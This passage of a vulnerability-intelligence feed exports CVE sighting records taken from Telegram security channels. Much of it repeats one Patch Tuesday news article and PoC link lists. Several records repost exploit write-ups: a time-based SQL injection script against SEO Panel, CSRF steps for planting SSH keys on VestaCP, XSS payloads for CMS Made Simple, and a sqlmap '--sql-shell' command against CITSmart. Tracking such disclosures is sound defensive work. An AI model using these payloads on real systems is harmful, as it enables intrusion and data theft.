FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:20.590704Z"}, {"uuid": "3576b38e-1e6c-4086-8a95-d2313286bdba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-02T01:03:23.092222Z"}, {"uuid": "8e63d070-d664-414c-a831-d6b145c3b7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-02T01:03:23.134717Z"}, {"uuid": "de50e684-6cdb-4776-a35e-d3b166baf8b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28379", "type": "seen", "source": "https://t.me/hacking_Attack/1478", "content": "Exploit Collector\nVestaCP 0.9.8 Cross Site Request Forgery\n\nhttps://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png \nVestaCP version 0.9.8 suffers from a cross site request forgery that can be leveraged to add remote ssh access.\n\nMD5 | 0cd72aff04a0cdb12d80f6b96cd818ed\n\nDownload\n# Exploit Title: VestaCP 0.9.8 - File Upload CSRF\n# Exploit Author: Fady Othman \n# Date: 16-03-2021\n# Vendor Homepage: https://vestacp.com/\n# Software Link: https://github.com/myvesta/vesta\n# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39\n# CVE ID: CVE-2021-28379\n# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355\n\n## Description\nI found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under \"/tmp\" and under the home folder (usually \"/home/admin\"), the later is the one that is important for this exploit to work.\n\nI was able to use this to create a \".ssh\" folder in the admin home and upload \"authorized_keys\" file which allowed me to access the server later as \"admin\" using SSH.\n\nSince this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added \"authorized_keys\" file, it will be replaced with the attacker's file.\n\nAffected endpoint: \"/upload/index.php\", i.e. \"/upload/index.php?dir=/home/admin/.ssh/\"\n\n## Steps to reproduce.\n1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.\n2. Login as the admin in Firefox, then open \"exploit.html\".\n3. ssh into the machine using 'ssh -i id_rsa admin@victimmachine', now you have access as admin.\n\n# exploit.html \n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:26.316375Z"}, {"uuid": "24ec281a-c593-46c5-8bd5-88810532ba2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/hackersmeet0/2446", "content": "Four Android vulnerabilities patched earlier this month may be under limited, targeted exploitation (CVE-2021-1905, CVE-2021-1906, CVE-2021-28663, CVE-2021-28664)\nhttps://therecord.media/arm-and-qualcomm-zero-days-quietly-patched-in-this-months-android-security-updates/", "creation_timestamp": "2026-09-02T01:03:29.673808Z"}, {"uuid": "443ffcdb-a0a8-44c3-a7f6-0500f3c88561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28935", "type": "seen", "source": "https://t.me/hacking_Attack/5996", "content": "Exploit Collector\nCMS Made Simple 2.2.15 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png \nCMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.\n\nMD5 | 1bd97d4c76ab1904826cf2601e327f7c\n\nDownload\n# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)\n# Date: 2021/03/19\n# Exploit Author: bt0\n# Vendor Homepage: http://www.cmsmadesimple.org/\n# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip\n# Version: 2.2.15\n# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935\n\n-----------------------------------------------------------\n\nIf you log into Admin panel and open My Preferences you could be able to exploit XSS in title field\n\nReflected XSS in /admin/addbookmark.php\n\nSome payloads that works:\n\n\">\n\">\n63311';alert(1)//812\n//-->\">'>\n\n------------------------------------------------------------\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:21.044370Z"}, {"uuid": "361b6266-33ca-49ad-9c25-5939b26ce1ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-02T01:03:22.650140Z"}, {"uuid": "0b5b9926-6731-47e2-9fcd-50b6fa30f567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-02T01:03:22.909146Z"}, {"uuid": "ec5c9c4f-a064-46ef-9e99-8ad99f395556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-02T01:03:22.961842Z"}, {"uuid": "03d30c39-1873-40b4-8513-6cd496eecd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "seen", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:23.049657Z"}, {"uuid": "6ef851af-34df-4937-a93f-e60cb2c4dad1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/hackersmeet0/2446", "content": "Four Android vulnerabilities patched earlier this month may be under limited, targeted exploitation (CVE-2021-1905, CVE-2021-1906, CVE-2021-28663, CVE-2021-28664)\nhttps://therecord.media/arm-and-qualcomm-zero-days-quietly-patched-in-this-months-android-security-updates/", "creation_timestamp": "2026-09-02T01:03:29.599234Z"}, {"uuid": "a918ebab-9c85-4364-b600-7b2d51da5641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/vulns/382", "content": "Microsoft Exchange Server RCE, CVE-2021-28482:\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-09-02T01:03:26.740218Z"}, {"uuid": "78dcc14b-c33f-4900-9795-7a27a8ceaab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28079", "type": "seen", "source": "https://t.me/cissp/4726", "content": "exploit\n1. CVE-2021-28079:\nJamovi <=1.6.18 is affected by a cross-site scripting (XSS) vulnerability\nhttps://github.com/g33xter/CVE-2021-28079\n\n2. Silent DOC Exploit for Microsoft Office\nhttps://github.com/attakercyebr/Exploit-doc\n\n3. Ghostscript sandbox bypass (CVE-2021-3781)\nhttps://security.tencent.com/index.php/blog/msg/205\n\nThreat_Research\nContainer Breakouts:\nPart 1 - Access to root directory of the Host\nhttps://blog.nody.cc/posts/container-breakouts-part1\nPart 2 - Privileged Container\nhttps://blog.nody.cc/posts/container-breakouts-part2\nPart 3 - Docker Socket\nhttps://blog.nody.cc/posts/container-breakouts-part3\n\nCloud_Security\nMesh-kridik: performs various security checks\non a Kubernetes cluster\nhttps://github.com/chen-keinan/mesh-kridik#requirements\n\nOffensive_security\nCVE-2021-30920 - CVE-2021-1784 strikes back -\nTCC bypass via mounting\nhttps://theevilbit.github.io/posts/cve_2021_30920", "creation_timestamp": "2026-09-02T01:04:21.356770Z"}, {"uuid": "8f12b857-b7b4-4cd9-975b-d9ee6e91b220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28632", "type": "seen", "source": "https://t.me/cissp/4666", "content": "Threat Research\nUsing Kerberos for Authentication Relay Attacks\nhttps://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html\n\nSuDump: Exploiting suid binaries through the kernel\n(LPE through the sudo program)\nhttps://alephsecurity.com/2021/10/20/sudump\n\nexploit\nCVE-2021-28632, CVE-2021-39840:\nBypassing Locks in Adobe Reader\nhttps://www.zerodayinitiative.com/blog/2021/10/20/cve-2021-28632-amp-cve-2021-39840-bypassing-locks-in-adobe-reader\n\nOffensive security\nCobalt Strike: Using Known Private Keys To Decrypt Traffic - Part 1\nhttps://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1\n\n\n\u200e", "creation_timestamp": "2026-09-02T01:04:22.290382Z"}, {"uuid": "ec92668c-0a95-484f-910b-dce741025f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/cissp/3314", "content": "Threat Research\n1. Threats from Readme:\nSuspected years of supply chain attack analysis\nhttps://security.tencent.com/index.php/blog/msg/192\n2. PoC for CVE-2021-28476 a guest-to-host\n\"Hyper-V RCE Vulnerability\" in vmswitch.sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\n\n-", "creation_timestamp": "2026-09-02T01:04:37.633997Z"}, {"uuid": "1781dcd6-f6c2-449c-8dd4-6dbb1d28f435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:40.944358Z"}, {"uuid": "c9e3c244-5f07-4499-8a5e-4db628a608d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/cissp/4236", "content": "Red Team Tactics\n\"Unoriginal-Rice-Patty\" - Replay-based attack 